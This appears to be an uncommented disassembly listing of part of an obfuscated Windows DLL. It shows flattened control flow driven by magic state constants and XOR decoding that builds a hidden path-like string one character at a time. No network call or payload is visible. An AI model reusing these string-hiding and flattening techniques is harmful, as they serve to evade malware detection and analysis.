mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002ed20
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002ee0c
cmp ebx, 0xac12002d
jne 0x18002ed70
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x27
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002ed70
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0xe], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x18002edd2
cmp edx, 0x400f7ff8
jne 0x18002edc0
jmp 0x18002ee4c
mov edx, 0x400f7ff8
jmp 0x18002edc0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xe], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002ee05
cmp ebx, 0x400f7ff8
jne 0x18002edf0
jmp 0x18002eea0
mov ebx, 0x400f7ff8
jmp 0x18002edf0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xc], bx
add rdx, 0xe
mov qword [rbp + 0xd8], rdx
mov edx, 0xda5c9955
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002ee45
cmp edx, 0x400f7ff8
jne 0x18002ee30
jmp 0x18002eef0
mov edx, 0x400f7ff8
jmp 0x18002ee30
mov dword [rbp + 0x10c], 0x65
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002ef40
cmp edx, 0xac12002d
jne 0x18002ee70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 7
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002ee70
mov dword [rbp + 0x10c], 0x65
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002ef79
cmp ebx, 0xac12002d
jne 0x18002eec0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 7
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002eec0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x18002efa9
cmp edx, 0xac12002d
jne 0x18002ef10
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x28
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002ef10
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x10], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x18002ef72
cmp edx, 0x400f7ff8
jne 0x18002ef60
jmp 0x18002efca
mov edx, 0x400f7ff8
jmp 0x18002ef60
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x10], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002efa2
cmp ebx, 0x400f7ff8
jne 0x18002ef90
jmp 0x18002f00c
mov ebx, 0x400f7ff8
jmp 0x18002ef90
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov rbx, qword [rbp + 0xd8]
mov word [rbx], dx
mov edx, 0x6e3a65e9
jmp 0x18002ddb0
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
cmp edx, 0x1ea65c42
je 0x18002f05c
cmp edx, 0xac12002d
jne 0x18002efe0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 8
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002efe0
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f099
cmp ebx, 0xac12002d
jne 0x18002f030
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 8
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f030
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x12], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f092
cmp edx, 0x400f7ff8
jne 0x18002f080
jmp 0x18002f0c9
mov edx, 0x400f7ff8
jmp 0x18002f080
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x12], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f0c2
cmp ebx, 0x400f7ff8
jne 0x18002f0b0
jmp 0x18002f10c
mov ebx, 0x400f7ff8
jmp 0x18002f0b0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f15c
cmp edx, 0xac12002d
jne 0x18002f0e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 9
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f0e0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f199
cmp ebx, 0xac12002d
jne 0x18002f130
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 9
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f130
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x14], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f192
cmp edx, 0x400f7ff8
jne 0x18002f180
jmp 0x18002f1c9
mov edx, 0x400f7ff8
jmp 0x18002f180
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x14], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f1c2
cmp ebx, 0x400f7ff8
jne 0x18002f1b0
jmp 0x18002f20c
mov ebx, 0x400f7ff8
jmp 0x18002f1b0
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f25c
cmp edx, 0xac12002d
jne 0x18002f1e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xa
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f1e0
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f299
cmp ebx, 0xac12002d
jne 0x18002f230
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xa
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f230
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x16], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f292
cmp edx, 0x400f7ff8
jne 0x18002f280
jmp 0x18002f2c9
mov edx, 0x400f7ff8
jmp 0x18002f280
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x16], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f2c2
cmp ebx, 0x400f7ff8
jne 0x18002f2b0
jmp 0x18002f30c
mov ebx, 0x400f7ff8
jmp 0x18002f2b0
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f35c
cmp edx, 0xac12002d
jne 0x18002f2e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xb
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f2e0
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f399
cmp ebx, 0xac12002d
jne 0x18002f330
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xb
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f330
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x18], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f392
cmp edx, 0x400f7ff8
jne 0x18002f380
jmp 0x18002f3c9
mov edx, 0x400f7ff8
jmp 0x18002f380
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x18], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f3c2
cmp ebx, 0x400f7ff8
jne 0x18002f3b0
jmp 0x18002f40c
mov ebx, 0x400f7ff8
jmp 0x18002f3b0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f45c
cmp edx, 0xac12002d
jne 0x18002f3e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xc
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f3e0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f499
cmp ebx, 0xac12002d
jne 0x18002f430
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xc
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f430
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x1a], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f492
cmp edx, 0x400f7ff8
jne 0x18002f480
jmp 0x18002f4c9
mov edx, 0x400f7ff8
jmp 0x18002f480
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x1a], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f4c2
cmp ebx, 0x400f7ff8
jne 0x18002f4b0
jmp 0x18002f50c
mov ebx, 0x400f7ff8
jmp 0x18002f4b0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f55c
cmp edx, 0xac12002d
jne 0x18002f4e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xd
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f4e0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f599
cmp ebx, 0xac12002d
jne 0x18002f530
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xd
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f530
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x1c], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f592
cmp edx, 0x400f7ff8
jne 0x18002f580
jmp 0x18002f5c9
mov edx, 0x400f7ff8
jmp 0x18002f580
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x1c], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f5c2
cmp ebx, 0x400f7ff8
jne 0x18002f5b0
jmp 0x18002f60c
mov ebx, 0x400f7ff8
jmp 0x18002f5b0
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f65c
cmp edx, 0xac12002d
jne 0x18002f5e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xe
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f5e0
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f699
cmp ebx, 0xac12002d
jne 0x18002f630
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xe
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f630
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x1e], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f692
cmp edx, 0x400f7ff8
jne 0x18002f680
jmp 0x18002f6c9
mov edx, 0x400f7ff8
jmp 0x18002f680
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x1e], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f6c2
cmp ebx, 0x400f7ff8
jne 0x18002f6b0
jmp 0x18002f70c
mov ebx, 0x400f7ff8
jmp 0x18002f6b0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f75c
cmp edx, 0xac12002d
jne 0x18002f6e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xf
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f6e0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f799
cmp ebx, 0xac12002d
jne 0x18002f730
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xf
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f730
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x20], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f792
cmp edx, 0x400f7ff8
jne 0x18002f780
jmp 0x18002f7c9
mov edx, 0x400f7ff8
jmp 0x18002f780
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x20], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f7c2
cmp ebx, 0x400f7ff8
jne 0x18002f7b0
jmp 0x18002f80c
mov ebx, 0x400f7ff8
jmp 0x18002f7b0
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f85c
cmp edx, 0xac12002d
jne 0x18002f7e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x10
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f7e0
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f899
cmp ebx, 0xac12002d
jne 0x18002f830
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x10
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f830
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x22], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f892
cmp edx, 0x400f7ff8
jne 0x18002f880
jmp 0x18002f8c9
mov edx, 0x400f7ff8
jmp 0x18002f880
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x22], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f8c2
cmp ebx, 0x400f7ff8
jne 0x18002f8b0
jmp 0x18002f90c
mov ebx, 0x400f7ff8
jmp 0x18002f8b0
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002f95c
cmp edx, 0xac12002d
jne 0x18002f8e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x11
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f8e0
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002f999
cmp ebx, 0xac12002d
jne 0x18002f930
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x11
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002f930
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x24], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002f992
cmp edx, 0x400f7ff8
jne 0x18002f980
jmp 0x18002f9c9
mov edx, 0x400f7ff8
jmp 0x18002f980
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x24], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002f9c2
cmp ebx, 0x400f7ff8
jne 0x18002f9b0
jmp 0x18002fa0c
mov ebx, 0x400f7ff8
jmp 0x18002f9b0
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002fa5c
cmp edx, 0xac12002d
jne 0x18002f9e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x12
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002f9e0
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002fa99
cmp ebx, 0xac12002d
jne 0x18002fa30
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x12
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002fa30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x26], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002fa92
cmp edx, 0x400f7ff8
jne 0x18002fa80
jmp 0x18002fac9
mov edx, 0x400f7ff8
jmp 0x18002fa80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x26], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002fac2
cmp ebx, 0x400f7ff8
jne 0x18002fab0
jmp 0x18002fb0c
mov ebx, 0x400f7ff8
jmp 0x18002fab0
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002fb5c
cmp edx, 0xac12002d
jne 0x18002fae0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x13
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002fae0
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002fb99
cmp ebx, 0xac12002d
jne 0x18002fb30
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x13
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002fb30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x28], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002fb92
cmp edx, 0x400f7ff8
jne 0x18002fb80
jmp 0x18002fbc9
mov edx, 0x400f7ff8
jmp 0x18002fb80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x28], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002fbc2
cmp ebx, 0x400f7ff8
jne 0x18002fbb0
jmp 0x18002fc0c
mov ebx, 0x400f7ff8
jmp 0x18002fbb0
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002fc5c
cmp edx, 0xac12002d
jne 0x18002fbe0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x14
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002fbe0
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002fc99
cmp ebx, 0xac12002d
jne 0x18002fc30
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x14
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002fc30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x2a], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002fc92
cmp edx, 0x400f7ff8
jne 0x18002fc80
jmp 0x18002fcc9
mov edx, 0x400f7ff8
jmp 0x18002fc80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x2a], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002fcc2
cmp ebx, 0x400f7ff8
jne 0x18002fcb0
jmp 0x18002fd0c
mov ebx, 0x400f7ff8
jmp 0x18002fcb0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002fd5c
cmp edx, 0xac12002d
jne 0x18002fce0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x15
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002fce0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002fd99
cmp ebx, 0xac12002d
jne 0x18002fd30
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x15
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002fd30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x2c], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002fd92
cmp edx, 0x400f7ff8
jne 0x18002fd80
jmp 0x18002fdc9
mov edx, 0x400f7ff8
jmp 0x18002fd80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x2c], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002fdc2
cmp ebx, 0x400f7ff8
jne 0x18002fdb0
jmp 0x18002fe0c
mov ebx, 0x400f7ff8
jmp 0x18002fdb0
mov dword [rbp + 0x10c], 0x64
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002fe5c
cmp edx, 0xac12002d
jne 0x18002fde0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x16
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002fde0
mov dword [rbp + 0x10c], 0x64
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002fe99
cmp ebx, 0xac12002d
jne 0x18002fe30
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x16
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002fe30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x2e], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002fe92
cmp edx, 0x400f7ff8
jne 0x18002fe80
jmp 0x18002fec9
mov edx, 0x400f7ff8
jmp 0x18002fe80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x2e], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002fec2
cmp ebx, 0x400f7ff8
jne 0x18002feb0
jmp 0x18002ff0c
mov ebx, 0x400f7ff8
jmp 0x18002feb0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18002ff5c
cmp edx, 0xac12002d
jne 0x18002fee0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x17
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002fee0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002ff99
cmp ebx, 0xac12002d
jne 0x18002ff30
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x17
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002ff30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x30], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002ff92
cmp edx, 0x400f7ff8
jne 0x18002ff80
jmp 0x18002ffc9
mov edx, 0x400f7ff8
jmp 0x18002ff80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x30], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002ffc2
cmp ebx, 0x400f7ff8
jne 0x18002ffb0
jmp 0x18003000c
mov ebx, 0x400f7ff8
jmp 0x18002ffb0
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18003005c
cmp edx, 0xac12002d
jne 0x18002ffe0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x18
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002ffe0
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180030099
cmp ebx, 0xac12002d
jne 0x180030030
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x18
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180030030
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x32], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180030092
cmp edx, 0x400f7ff8
jne 0x180030080
jmp 0x1800300c9
mov edx, 0x400f7ff8
jmp 0x180030080
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x32], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x1800300c2
cmp ebx, 0x400f7ff8
jne 0x1800300b0
jmp 0x18003010c
mov ebx, 0x400f7ff8
jmp 0x1800300b0
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18003015c
cmp edx, 0xac12002d
jne 0x1800300e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x19
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x1800300e0
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
